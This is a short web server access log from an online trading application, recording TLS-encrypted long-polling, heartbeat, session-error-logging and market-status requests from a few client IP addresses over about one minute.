[09/Jan/2026:13:29:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:29:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936840169 HTTP/1.1" -
[09/Jan/2026:13:29:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936839981 HTTP/1.1" -
[09/Jan/2026:13:29:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936858623 HTTP/1.1" -
[09/Jan/2026:13:29:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936849218 HTTP/1.1" -
[09/Jan/2026:13:29:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:29:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:29:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:29:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:29:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:29:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:29:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:29:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:29:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936845245 HTTP/1.1" -
[09/Jan/2026:13:29:37 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936845019 HTTP/1.1" -
[09/Jan/2026:13:29:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936863691 HTTP/1.1" -
[09/Jan/2026:13:29:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936854319 HTTP/1.1" -
[09/Jan/2026:13:29:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936850408 HTTP/1.1" -
[09/Jan/2026:13:29:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936850080 HTTP/1.1" -
[09/Jan/2026:13:29:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936868719 HTTP/1.1" -
[09/Jan/2026:13:29:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936859379 HTTP/1.1" -
[09/Jan/2026:13:29:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936855547 HTTP/1.1" -
[09/Jan/2026:13:29:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:29:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:29:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:29:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:29:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936855154 HTTP/1.1" -
[09/Jan/2026:13:29:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936873785 HTTP/1.1" -
[09/Jan/2026:13:29:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936864469 HTTP/1.1" -
[09/Jan/2026:13:29:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:29:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:29:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936860717 HTTP/1.1" -
[09/Jan/2026:13:29:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:29:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:29:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936860244 HTTP/1.1" -
[09/Jan/2026:13:29:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936878853 HTTP/1.1" -
[09/Jan/2026:13:29:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936869494 HTTP/1.1" -
[09/Jan/2026:13:29:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936865865 HTTP/1.1" -
[09/Jan/2026:13:29:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936865296 HTTP/1.1" -
[09/Jan/2026:13:29:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936883875 HTTP/1.1" -
[09/Jan/2026:13:29:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936874557 HTTP/1.1" -
[09/Jan/2026:13:30:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:30:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:30:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:30:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:30:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936870997 HTTP/1.1" -
[09/Jan/2026:13:30:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936870356 HTTP/1.1" -
[09/Jan/2026:13:30:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936888938 HTTP/1.1" -
[09/Jan/2026:13:30:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936879641 HTTP/1.1" -
[09/Jan/2026:13:30:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:30:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:30:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:30:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:30:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:30:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:30:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:30:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:30:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936876059 HTTP/1.1" -
[09/Jan/2026:13:30:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936875435 HTTP/1.1" -
[09/Jan/2026:13:30:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936894002 HTTP/1.1" -
[09/Jan/2026:13:30:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936884710 HTTP/1.1" -
[09/Jan/2026:13:30:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936881185 HTTP/1.1" -
[09/Jan/2026:13:30:12 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936880501 HTTP/1.1" -
[09/Jan/2026:13:30:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936899037 HTTP/1.1" -
[09/Jan/2026:13:30:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936889797 HTTP/1.1" -
[09/Jan/2026:13:30:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:30:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:30:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:30:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:30:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936886336 HTTP/1.1" -
[09/Jan/2026:13:30:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936885552 HTTP/1.1" -
[09/Jan/2026:13:30:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936904190 HTTP/1.1" -
[09/Jan/2026:13:30:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936894865 HTTP/1.1" -
[09/Jan/2026:13:30:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:30:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:30:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:30:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:30:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936891484 HTTP/1.1" -
[09/Jan/2026:13:30:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936890642 HTTP/1.1" -
[09/Jan/2026:13:30:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936899891 HTTP/1.1" -
[09/Jan/2026:13:30:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936910190 HTTP/1.1" -
[09/Jan/2026:13:30:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936896625 HTTP/1.1" -
[09/Jan/2026:13:30:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936895719 HTTP/1.1" -
[09/Jan/2026:13:30:29 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936904978 HTTP/1.1" -
[09/Jan/2026:13:30:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:30:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:30:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:30:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:30:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936916186 HTTP/1.1" -
[09/Jan/2026:13:30:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936901733 HTTP/1.1" -
[09/Jan/2026:13:30:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936900787 HTTP/1.1" -
[09/Jan/2026:13:30:34 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936910045 HTTP/1.1" -
[09/Jan/2026:13:30:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:30:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:30:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:30:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:30:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:30:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:30:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:30:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
